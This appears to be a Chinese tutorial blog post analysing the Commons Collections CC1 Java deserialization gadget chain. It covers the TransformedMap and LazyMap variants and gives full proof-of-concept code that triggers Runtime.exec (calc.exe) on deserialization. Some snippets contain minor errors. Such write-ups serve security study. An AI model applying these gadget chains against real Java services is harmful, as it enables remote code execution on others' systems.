这篇文章介绍java反序列化中的CC1利用链。
上篇文章学习了URLDNS这条链,主要是HashMap和URL这两个类,接下来学习Common-Collections利⽤链,此篇文章记录学习CC1的学习过程。
简介 commons-collections是Apache软件基金会的项目,对Java标准的Collections API提供了很好的补充,在其基础上对常用的数据结构进行了封装、抽象和补充,目的在于提供可重用的、用来解决常见需求的代码及数据结构。 CC1两条利用链:
AnnotationInvocationHandler.readObject->TransformedMap.checkSetValue->ChainedTransformer->InvokerTransformer.transform->Runtime.exec
AnnotationInvocationHandler.readObject->LazyMap.get->TransformedMap.checkSetValue->InvokerTransformer.transform->Runtime.exec
CC1的测试环境需要在Java 8u71以前。在此改动后,AnnotationInvocationHandler的readObject不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作。
调试环境 JDK8u65:https://www.oracle.com/java/technologies/javase/javase8-archive-downloads.html (8u71以下) 下载sun的源码:http://hg.openjdk.java.net/jdk8u/jdk8u/jdk/rev/41ab7149fea2 创建一个普通的maven项目,之后解压JDK 目录下的SRC文件,把下载的sun文件(/src/share/classes/sun)解压放到SRC文件下 配置IDEA File->Project Structure->SDKs->Sourcepath 加入src文件夹 pom文件加入commons-collections依赖 版本3.2.1
1 2 3 4 5 6 7 <dependencies > <dependency > <groupId > commons-collections</groupId > <artifactId > commons-collections</artifactId > <version > 3.2.1</version > </dependency > </dependencies >
maven加载的文件,直接download就可以看到.java源文件。
相关接口和类 Transformer是⼀个接⼝,它只有⼀个待实现的⽅法**transform(Object input)**:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 public interface Transformer { public Object transform (Object input) ; }
InvokerTransformer是实现了Transformer接⼝和Serializable接口的⼀个类,这个类可以用来执行任意方法,InvokerTransformer.transform()是CC1的关键点 。 实例化这个InvokerTransformer,需要传⼊三个参数,第⼀个参数是⽅法名,第⼆个参数是参数类型,第三个参数是传给这个函数的参数列表:
1 2 3 4 5 6 public InvokerTransformer (String methodName, Class[] paramTypes, Object[] args) { super (); iMethodName = methodName; iParamTypes = paramTypes; iArgs = args; }
InvokerTransformer实现Transformer接口的 **transform(Object input)**方法。反射来调用传进来的对象中的方法。而方法名、参数类型和参数列表都是可以在构造函数初始化时传进来的,因此都是可控的。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 public Object transform (Object input) { if (input == null ) { return null ; } try { Class cls = input.getClass(); Method method = cls.getMethod(iMethodName, iParamTypes); return method.invoke(input, iArgs); } catch (NoSuchMethodException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' does not exist" ); } catch (IllegalAccessException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' cannot be accessed" ); } catch (InvocationTargetException ex) { throw new FunctorException ("InvokerTransformer: The method '" + iMethodName + "' on '" + input.getClass() + "' threw an exception" , ex); } }
到这获取exec方法,执行命令都是没有问题的。
1 2 3 4 5 6 7 8 9 Runtime r = Runtime.getRuntime(); Class c = Runtime.class; Method execMethod = c.getMethod("exec" , String.class); execMethod.invoke(r,"calc.exe" ); Runtime r = Runtime.getRuntime(); new InvokerTransformer ("exec" ,new Class []{String.class},new Object []{"calc.exe" }).transform(r);
直接弹出计算器。只是这个只能在本地执行。要想远程调用的话,就得使构造函数中的几个参数和transform中的参数都是用户可控的才行。
ConstantTransformer是实现了Transformer和Serializable接口的⼀个类。
1 2 3 4 5 6 7 public ConstantTransformer (Object constantToReturn) { super (); iConstant = constantToReturn; } public Object transform (Object input) { return iConstant; }
构造函数是传一个对象进去,初始化iConstant,而transform则将这个iConstant对象返回。因此可将Runtime传进去,当调用transform时返回一个Runtime对象回来,要是能将它与InvokerTransformer组合起来或许就能有意想不到的效果。而ChainedTransformer刚好有这种功能。
ChainedTransformer也是实现了Transformer和Serializable接⼝的⼀个类,它的作⽤是将内部的多个Transformer串在⼀起。
1 2 3 4 5 6 7 8 9 10 public ChainedTransformer (Transformer[] transformers) { super (); iTransformers = transformers; } public Object transform (Object object) { for (int i = 0 ; i < iTransformers.length; i++) { object = iTransformers[i].transform(object); } return object; }
构造函数这里传的是一个Transformer数组,而transform方法则是遍历这个数组,取出数组里的Transformer对象并调用其transform方法,返回的对象又作为下一个Transformer的transform方法中的参数被调用。
第一条链 寻找链的思路:InvokerTransformer.transform()是执行命令的关键,找的思路就是找哪里调用了transform,对应的方法又在哪被调用,最后直至找到readObject里调用的方法。 AnnotationInvocationHandler.readObject()->TransformedMap.checkSetValue()->ChainedTransformer->InvokerTransformer->Runtime.exec
TransformedMap是实现了Serializable的类,构造函数接收map,key,value。key,value都是Transformer。
1 2 3 4 5 protected TransformedMap (Map map, Transformer keyTransformer, Transformer valueTransformer) { super (map); this .keyTransformer = keyTransformer; this .valueTransformer = valueTransformer; }
TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可以执⾏⼀个回调。通过下⾯这⾏代码对传入的map进⾏修饰,修饰后的Map:
1 2 3 4 public static Map decorate (Map map, Transformer keyTransformer, Transformer valueTransformer) { return new TransformedMap (map, keyTransformer, valueTransformer); }
checkSetValued调用了transform,valueTransformer是我们传入的Transformer。
1 2 3 protected Object checkSetValue (Object value) { return valueTransformer.transform(value); }
继续找调用了checkSetValued的方法,把decorate修饰的TransformedMap对象传进去。找到了AbstractInputCheckedMapDecorator内部类MapEntry的setValue方法调用了checkSetValued。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 static class MapEntry extends AbstractMapEntryDecorator { private final AbstractInputCheckedMapDecorator parent; protected MapEntry (Map.Entry entry, AbstractInputCheckedMapDecorator parent) { super (entry); this .parent = parent; } public Object setValue (Object value) { value = parent.checkSetValue(value); return entry.setValue(value); } }
调用测试
1 2 3 4 5 6 7 8 9 10 11 Runtime r = Runtime.getRuntime(); InvokerTransformer invokerTransformer = (InvokerTransformer) new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"open -a Calculator" }); HashMap<Object,Object> map = new HashMap <>(); map.put("key" ,"value" ); Map<Object,Object> transformedMap = TransformedMap.decorate(map,null ,invokerTransformer); for (Map.Entry entry:transformedMap.entrySet()){ entry.setValue(r); }
继续在找调用setValue的地方。最好是readObject直接调用。AnnotationInvocationHandler的readObject刚好符合条件。
AnnotationInvocationHandler 这个类实现Serializable接口,不能直接调用这个类,需要通过反射的的方式加载。这个类的构造方法,接收type和Map
1 2 3 4 5 6 7 8 9 AnnotationInvocationHandler(Class<? extends Annotation > type, Map<String, Object> memberValues) { Class<?>[] superInterfaces = type.getInterfaces(); if (!type.isAnnotation() || superInterfaces.length != 1 || superInterfaces[0 ] != java.lang.annotation.Annotation.class) throw new AnnotationFormatError ("Attempt to create proxy for a non-annotation type." ); this .type = type; this .memberValues = memberValues; }
readObject方法的关键是Map.Entry<String, Object> memberValue : memberValues.entrySet() 和 memberValue.setValue(…) 。memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这里遍历了它的所有元素,并依次设置值。在调用setValue设置值的时候就会触发TransformedMap里注册的Transform,进而执行我们为其精心设计的任意代码。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 private void readObject (java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); AnnotationType annotationType = null ; try { annotationType = AnnotationType.getInstance(type); } catch (IllegalArgumentException e) { throw new java .io.InvalidObjectException("Non-annotation type in annotation serial stream" ); } Map<String, Class<?>> memberTypes = annotationType.memberTypes(); for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { String name = memberValue.getKey(); Class<?> memberType = memberTypes.get(name); if (memberType != null ) { Object value = memberValue.getValue(); if (!(memberType.isInstance(value) || value instanceof ExceptionProxy)) { memberValue.setValue( new AnnotationTypeMismatchExceptionProxy ( value.getClass() + "[" + value + "]" ).setMember( annotationType.members().get(name))); } } } }
以上就是第一条完整的链。整理一下思路:
1 2 3 4 5 6 7 8 9 1 、transform数组里面含有4 个实现了Transformer接口的对象,这四个对象都重写了transform()方法2 、ChianedTransformer里面装了4 个transform,ChianedTransformer也实现了Transformer接口,同样重写了transform()方法3 、TransoformedMap绑定了ChiandTransformer,给予map数据转化链,当map里的数据进行修改时,需经过ChiandTransformer转换链4 、利用TransoformedMap的setValue修改map数据,触发ChiandTransformer的transform()方法5 、ChianedTransformer的transform是一个循环调用该类里面的transformer的transform方法loop 1 :第一次循环调用ConstantTransformer("java.Runtime" )对象的transformer方法,调用参数为"test" (正常要修改的值),返回了java.Runtime作为下一次循环的object参数 loop 2 :第二次循环调用InvokerTransformer对象的transformer,参数为("java.Runtime" ),包装Method对象"getMethod" 方法,invoke方法获得对象所声明方法"getRuntime" ,利用反射,返回一个Rumtime.getRuntime()方法 loop 3 :第三次循环调用InvokerTransformer对象的transformer,参数为("Rumtime.getRuntime()" ),包装Method对象"invoke" 方法,利用反射,返回一个Rumtime.getRuntime()实例 loop 4 :第四次循环调用InvokerTransformer对象的transformer,参数为一个Runtime的对象实例,包装Method对象"exe
编写POC 首先明确要实现的目标是:
1 Runtime.getRuntime().exec("calc.exe" );
因此首先要获得Runtime
1 Class c = Runtime.class;
ConstantTransformer可以传一个Runtime类进去,当被遍历时调用transform方法可以返回一个Runtime类,正好作为下一个Transformer的transform方法中的参数。因此Transformer数组第一个Transformer如下:
1 2 3 new Transformer []{ new ConstantTransformer (Runtime.class) }
为什么不用 Runtime.getRuntime() 换成了 Runtime.class ? 前者是一个java.lang.Runtime 对象,后者是一个 java.lang.Class 对象。Class类有实现Serializable接口,所以可以被序列化。 下一步需要调用getRuntime,它是Runtime里面的方法,前面已经传了Runtime.class,要获取该方法显然只能通过反射,而InvokerTransformer中的transform方法刚好提供了这个功能。 正常反射使用方法
1 2 3 Method f = Runtime.class.getMethod("getRuntime" ); Runtime r = (Runtime) f.invoke(null ); r.exec("calc.exe" );
现在已经有了Runtime类,那么考虑传一个getMethod进去,然后通过反射让Runtime类调用getMethod方法,参数即为getRuntime,因此第二个Transformer如下:
1 2 3 4 5 6 7 new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, class[].class}, new Object []{"getRuntime" , new Class [0 ]}) }
然后需要调用invoke方法,因此传invoke进去,第三个Transformer如下:
1 2 3 4 5 6 7 8 9 10 11 new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}) }
最后调用exec方法,因此传exec进去,参数是命令,第四个Transformer如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc" }) };
把Transformer[]传给ChainedTransformer
1 Transformer transformerChain = new ChainedTransformer (transformers);
然后把transformerChain传给TransformedMap.decorate,造出一个TransformedMap对象存在tmap中
1 2 3 Map map = new HashMap ();map.put("value" , "Roderick" ); Map tmap = TransformedMap.decorate(map, null , transformerChain);
反射获取AnnotationInvocationHandler,获取实例传入tamp,反序列化的过程就会调用tamp.setValue
1 2 3 4 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Retention.class, tmap);
综上,组合起来完整的poc
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 package cc1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.TransformedMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.annotation.Target;import java.lang.reflect.Constructor;import java.util.HashMap;import java.util.Map;public class test { public static void main (String[] args) throws Exception { Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "uf9n1x" ); Map tmap = TransformedMap.decorate(map, null , transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); Object o = declaredConstructor.newInstance(Retention.class, tmap); ObjectOutputStream oos = new ObjectOutputStream (new FileOutputStream ("outCC1.bin" )); oos.writeObject(o); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("outCC1.bin" )); ois.readObject(); }}
小结
1 2 3 4 5 6 7 8 9 利用链: InvokerTransformer#transform TransformedMap#checkSetValue AbstractInputCheckedMapDecorator#setValue AnnotationInvocationHandler#readObject 使用到的工具类辅助利用链: ConstantTransformer ChainedTransformer HashMap
这里非常建议大家在跟完一整个链子之后,写一个流程图,让自己明确一下思路,这个流程图一定是要自己写。 别的师傅的流程图
第二条链 AnnotationInvocationHandler.readObject()->LazyMap.get()->ChainedTransformer->InvokerTransformer.transform->Runtime.exec 这条链就是ysoserial里的链,和上一条的差别不大,上条用了TransformedMap,这一条用LazyMap
LazyMap LazyMap和TransformedMap类似,都来自于Common-Collections库,并继承AbstractMapDecorator。
1 2 3 4 public static Map decorate (Map map, Factory factory) { return new LazyMap (map, factory); }
LazyMap的漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform。
1 2 3 4 5 6 7 8 9 public Object get (Object key) { if (map.containsKey(key) == false ) { Object value = factory.transform(key); map.put(key, value); return value; } return map.get(key); }
在get找不到值的时候,它会调用 factory.transform 方法去获取一个值,AnnotationInvocationHandler 的readObject方法中并没有直接调用到Map的get方法。在ysoserial中,AnnotationInvocationHandler类的invoke方法有调用到get方法
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 public Object invoke (Object proxy, Method method, Object[] args) { String member = method.getName(); Class<?>[] paramTypes = method.getParameterTypes(); if (member.equals("equals" ) && paramTypes.length == 1 && paramTypes[0 ] == Object.class) return equalsImpl(args[0 ]); if (paramTypes.length != 0 ) throw new AssertionError ("Too many parameters for an annotation method" ); switch (member) { case "toString" : return toStringImpl(); case "hashCode" : return hashCodeImpl(); case "annotationType" : return type; } Object result = memberValues.get(member); if (result == null ) throw new IncompleteAnnotationException (type, member); if (result instanceof ExceptionProxy) throw ((ExceptionProxy) result).generateException(); if (result.getClass().isArray() && Array.getLength(result) != 0 ) result = cloneArray(result); return result; }
调用 AnnotationInvocationHandler.invoke,ysoserial的作者想到的是使用Java动态代理 java.reflect.Proxy,第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体执行逻辑。具体可以学习一下动态代理。
1 2 3 4 5 6 7 8 9 10 11 12 public static Object newProxyInstance (ClassLoader loader, Class<?>[] interfaces, InvocationHandler h) throws IllegalArgumentException { Objects.requireNonNull(h); final Class<?>[] intfs = interfaces.clone(); final SecurityManager sm = System.getSecurityManager(); if (sm != null ) { checkProxyAccess(Reflection.getCallerClass(), loader, intfs); }
编写POC 在TransformedMap POC的基础上进行修改,首先使用LazyMap替换TransformedMap
1 Map tmap = LazyMap.decorate(map, transformerChain);
然后,对 AnnotationInvocationHandler 对象进行代理
1 2 3 4 5 Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" );Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);declaredConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap);Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler);
代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是AnnotationInvocationHandler的readObject ,所以我们还需要再用AnnotationInvocationHandler对这个proxyMap进行包裹。
1 handler = (InvocationHandler) construct.newInstance(Retention.class, proxyMap);
完整的poc如下
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 package cc1;import org.apache.commons.collections.Transformer;import org.apache.commons.collections.functors.ChainedTransformer;import org.apache.commons.collections.functors.ConstantTransformer;import org.apache.commons.collections.functors.InvokerTransformer;import org.apache.commons.collections.map.LazyMap;import java.io.*;import java.lang.annotation.Retention;import java.lang.reflect.Constructor;import java.lang.reflect.InvocationHandler;import java.lang.reflect.Proxy;import java.util.HashMap;import java.util.Map;public class CC1_LazyMapEXP implements Serializable { public static void main (String[] args) throws Exception{ Transformer[] transformers = new Transformer []{ new ConstantTransformer (Runtime.class), new InvokerTransformer ("getMethod" , new Class []{String.class, Class[].class}, new Object []{"getRuntime" , new Class [0 ]}), new InvokerTransformer ("invoke" , new Class []{Object.class, Object[].class}, new Object []{null , new Object [0 ]}), new InvokerTransformer ("exec" , new Class []{String.class}, new Object []{"calc.exe" }) }; Transformer transformerChain = new ChainedTransformer (transformers); Map map = new HashMap (); map.put("value" , "Roderick" ); Map tmap = LazyMap.decorate(map, transformerChain); Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler" ); Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class); declaredConstructor.setAccessible(true ); InvocationHandler handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, tmap); Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class [] {Map.class}, handler); handler = (InvocationHandler) declaredConstructor.newInstance(Retention.class, proxyMap); ObjectInputStream ois = new ObjectInputStream (new FileInputStream ("uf9n1x.bin" )); ois.readObject(); } }
小结 小结部分主要来整理一下链子和我们的攻击思路。
1 2 3 4 5 6 7 8 9 10 11 调用链 InvokeTransformer#transform LazyMap#get AnnotationInvocationHandler#readObject 辅助链 ChainedTransformer ConstantTransformer HashMap Map (Proxy) #entrySet
Refer JAVA反序列化 - Commons-Collections组件 - 先知社区 Java反序列化-CommonsCollections1利用链分析 Commons Collections 1 Java安全之CC1链分析 Java安全之Commons Collections1分析前置知识 - nice_0e3 - 博客园 Java反序列化-CommonCollections分析 Java反序列化漏洞分析 https://mp.weixin.qq.com/s/lr9Hxx74PY-O1fwBjNNwSQ )